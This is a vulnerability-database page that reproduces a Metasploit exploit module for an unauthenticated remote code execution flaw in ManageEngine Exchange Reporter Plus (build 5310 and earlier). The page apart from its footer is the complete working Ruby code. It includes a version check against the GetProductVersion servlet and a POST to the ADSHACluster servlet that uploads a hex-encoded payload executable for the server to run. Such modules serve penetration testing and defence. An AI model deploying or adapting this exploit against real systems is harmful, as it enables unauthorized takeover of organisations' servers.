Lucene search
+L

ManageEngine Exchange Reporter Plus Unauthenticated RCE

🗓️ 28 Jun 2018 00:00:00Reported by Kacper Szurek <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 82 Views

ManageEngine Exchange Reporter Plus Unauthenticated RCE exploits a remote code execution vulnerability in version 5310 by executing bcp.exe file inside ADSHACluster servlet.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Exchange Reporter Plus Unauthenticated RCE',
        'Description' => %q{
          This module exploits a remote code execution vulnerability that
          exists in Exchange Reporter Plus <= 5310, caused by execution of
          bcp.exe file inside ADSHACluster servlet
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kacper Szurek <[email protected]>'
        ],
        'References' => [
          ['URL', 'https://security.szurek.pl/en/manage-engine-exchange-reporter-plus-unauthenticated-rce/']
        ],
        'Platform' => ['win'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2018-06-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
        Opt::RPORT(8181),
      ]
    )
  end

  def bin_to_hex(s)
    s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Safe('Target is not vulnerable')
    end

    unless res.code == 200
      vprint_status 'Target is not ManageEngine Exchange Reporter Plus'
      return CheckCode::Safe('Target is not vulnerable')
    end

    begin
      json = res.get_json_document
      raise if json.empty? || !json['BUILD_NUMBER']
    rescue
      vprint_status 'Target is not ManageEngine Exchange Reporter Plus'
      return CheckCode::Safe('Target is not vulnerable')
    end

    vprint_status "Version: #{json['BUILD_NUMBER']}"

    if json['BUILD_NUMBER'].to_i <= 5310
      return CheckCode::Appears('Target appears to be vulnerable')
    end

    CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
      'vars_post' => {
        'MTCALL' => "nativeClient",
        'BCP_RLL' => "0102",
        'BCP_EXE' => bin_to_hex(generate_payload_exe)
      }
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation